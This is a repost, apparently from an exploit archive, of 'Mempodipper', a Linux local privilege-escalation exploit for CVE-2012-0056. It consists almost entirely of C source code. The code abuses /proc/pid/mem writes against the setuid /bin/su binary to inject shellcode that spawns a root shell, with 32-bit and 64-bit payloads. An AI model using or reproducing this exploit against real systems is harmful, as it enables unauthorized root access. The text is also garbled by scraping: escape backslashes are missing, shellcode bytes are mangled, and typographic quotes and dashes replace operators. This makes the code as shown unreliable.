Exploit code is here: http://git.zx2c4.com/CVE-2012-0056/plain/mempodipper.c

Blog post about it is here: http://blog.zx2c4.com/749

# Exploit Title: Mempodipper – Linux Local Root for >=2.6.39, 32-bit and 64-bit
# Date: Jan 21, 2012
# Author: zx2c4
# Tested on: Gentoo, Ubuntu
# Platform: Linux
# Category: Local
# CVE-2012-0056

/*
* Mempodipper
* by zx2c4
*
* Linux Local Root Exploit
*
* Rather than put my write up here, per usual, this time I’ve put it
* in a rather lengthy blog post: http://blog.zx2c4.com/749
*
* Enjoy.
*
* – zx2c4
* Jan 21, 2012
*
* CVE-2012-0056
*/

#define _LARGEFILE64_SOURCE
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <fcntl.h>
#include <unistd.h>
#include <limits.h>

char *socket_path = "/tmp/.sockpuppet";
int send_fd(int fd)
{
char buf[1];
struct iovec iov;
struct msghdr msg;
struct cmsghdr *cmsg;
struct sockaddr_un addr;
int n;
int sock;
char cms[CMSG_SPACE(sizeof(int))];

if ((sock = socket(AF_UNIX, SOCK_STREAM, 0)) < 0)
return -1;
memset(&addr, 0, sizeof(addr));
addr.sun_family = AF_UNIX;
strncpy(addr.sun_path, socket_path, sizeof(addr.sun_path) – 1);
if (connect(sock, (struct sockaddr*)&addr, sizeof(addr)) < 0)
return -1;

buf[0] = 0;
iov.iov_base = buf;
iov.iov_len = 1;

memset(&msg, 0, sizeof msg);
msg.msg_iov = &iov;
msg.msg_iovlen = 1;
msg.msg_control = (caddr_t)cms;
msg.msg_controllen = CMSG_LEN(sizeof(int));

cmsg = CMSG_FIRSTHDR(&msg);
cmsg->cmsg_len = CMSG_LEN(sizeof(int));
cmsg->cmsg_level = SOL_SOCKET;
cmsg->cmsg_type = SCM_RIGHTS;
memmove(CMSG_DATA(cmsg), &fd, sizeof(int));

if ((n = sendmsg(sock, &msg, 0)) != iov.iov_len)
return -1;
close(sock);
return 0;
}

int recv_fd()
{
int listener;
int sock;
int n;
int fd;
char buf[1];
struct iovec iov;
struct msghdr msg;
struct cmsghdr *cmsg;
struct sockaddr_un addr;
char cms[CMSG_SPACE(sizeof(int))];

if ((listener = socket(AF_UNIX, SOCK_STREAM, 0)) < 0)
return -1;
memset(&addr, 0, sizeof(addr));
addr.sun_family = AF_UNIX;
strncpy(addr.sun_path, socket_path, sizeof(addr.sun_path) – 1);
unlink(socket_path);
if (bind(listener, (struct sockaddr*)&addr, sizeof(addr)) < 0)
return -1;
if (listen(listener, 1) < 0)
return -1;
if ((sock = accept(listener, NULL, NULL)) < 0)
return -1;

iov.iov_base = buf;
iov.iov_len = 1;

memset(&msg, 0, sizeof msg);
msg.msg_name = 0;
msg.msg_namelen = 0;
msg.msg_iov = &iov;
msg.msg_iovlen = 1;

msg.msg_control = (caddr_t)cms;
msg.msg_controllen = sizeof cms;

if ((n = recvmsg(sock, &msg, 0)) < 0)
return -1;
if (n == 0)
return -1;
cmsg = CMSG_FIRSTHDR(&msg);
memmove(&fd, CMSG_DATA(cmsg), sizeof(int));
close(sock);
close(listener);
return fd;
}

int main(int argc, char **argv)
{
if (argc > 2 && argv[1][0] == ‘-’ && argv[1][1] == ‘c’) {
char parent_mem[256];
sprintf(parent_mem, "/proc/%s/mem", argv[2]);
printf("[+] Opening parent mem %s in child.n", parent_mem);
int fd = open(parent_mem, O_RDWR);
if (fd < 0) {
perror("[-] open");
return 1;
}
printf("[+] Sending fd %d to parent.n", fd);
send_fd(fd);
return 0;
}

printf("===============================n");
printf("= Mempodipper =n");
printf("= by zx2c4 =n");
printf("= Jan 21, 2012 =n");
printf("===============================nn");

int parent_pid = getpid();
if (fork()) {
printf("[+] Waiting for transferred fd in parent.n");
int fd = recv_fd();
printf("[+] Received fd at %d.n", fd);
if (fd < 0) {
perror("[-] recv_fd");
return -1;
}
printf("[+] Assigning fd %d to stderr.n", fd);
dup2(2, 6);
dup2(fd, 2);

unsigned long address;
if (argc > 2 && argv[1][0] == ‘-’ && argv[1][1] == ‘o’)
address = strtoul(argv[2], NULL, 16);
else {
printf("[+] Reading su for exit@plt.n");
// Poor man’s auto-detection. Do this in memory instead of relying on objdump being installed.
FILE *command = popen("objdump -d /bin/su|grep ‘exit@plt’|head -n 1|cut -d ‘ ‘ -f 1|sed ’s/^[0]*\([^0]*\)/0x\1/’", "r");
char result[32];
result[0] = 0;
fgets(result, 32, command);
pclose(command);
address = strtoul(result, NULL, 16);
if (address == ULONG_MAX || !address) {
printf("[-] Could not resolve /bin/su. Specify the exit@plt function address manually.n");
printf("[-] Usage: %s -o ADDRESSn[-] Example: %s -o 0×402178n", argv[0], argv[0]);
return 1;
}
printf("[+] Resolved exit@plt to 0x%lx.n", address);
}
printf("[+] Calculating su padding.n");
FILE *command = popen("su this-user-does-not-exist 2>&1", "r");
char result[256];
result[0] = 0;
fgets(result, 256, command);
pclose(command);
unsigned long su_padding = (strstr(result, "this-user-does-not-exist") – result) / sizeof(char);
unsigned long offset = address – su_padding;
printf("[+] Seeking to offset 0x%lx.n", offset);
lseek64(fd, offset, SEEK_SET);

#if defined(__i386__)
// See shellcode-32.s in this package for the source.
char shellcode[] =
"x31xdbxb0×17xcdx80×31xdbxb0×2excdx80×31xc9xb3"
"x06xb1×02xb0×3fxcdx80×31xc0×50x68×6ex2fx73×68"
"x68×2fx2fx62×69x89xe3×31xd2×66xbax2dx69×52x89"
"xe0×31xd2×52x50×53x89xe1×31xd2×31xc0xb0×0bxcd"
"x80";
#elif defined(__x86_64__)
// See shellcode-64.s in this package for the source.
char shellcode[] =
"x48×31xffxb0×69x0fx05×48x31xffxb0×6ax0fx05×40"
"xb7×06x40xb6×02xb0×21x0fx05×48xbbx2fx2fx62×69"
"x6ex2fx73×68x48xc1xebx08×53x48×89xe7×48x31xdb"
"x66xbbx2dx69×53x48×89xe1×48x31xc0×50x51×57x48"
"x89xe6×48x31xd2xb0×3bx0fx05";

#else
#error "That platform is not supported."
#endif
printf("[+] Executing su with shellcode.n");
execl("/bin/su", "su", shellcode, NULL);
} else {
char pid[32];
sprintf(pid, "%d", parent_pid);
printf("[+] Executing child from child fork.n");
execl("/proc/self/exe", argv[0], "-c", pid, NULL);
}
}

# [1337day.com][1] [2012-01-23]

[1]: http://www.1337day.com/

Source: http://www.1337day.com/exploits/17421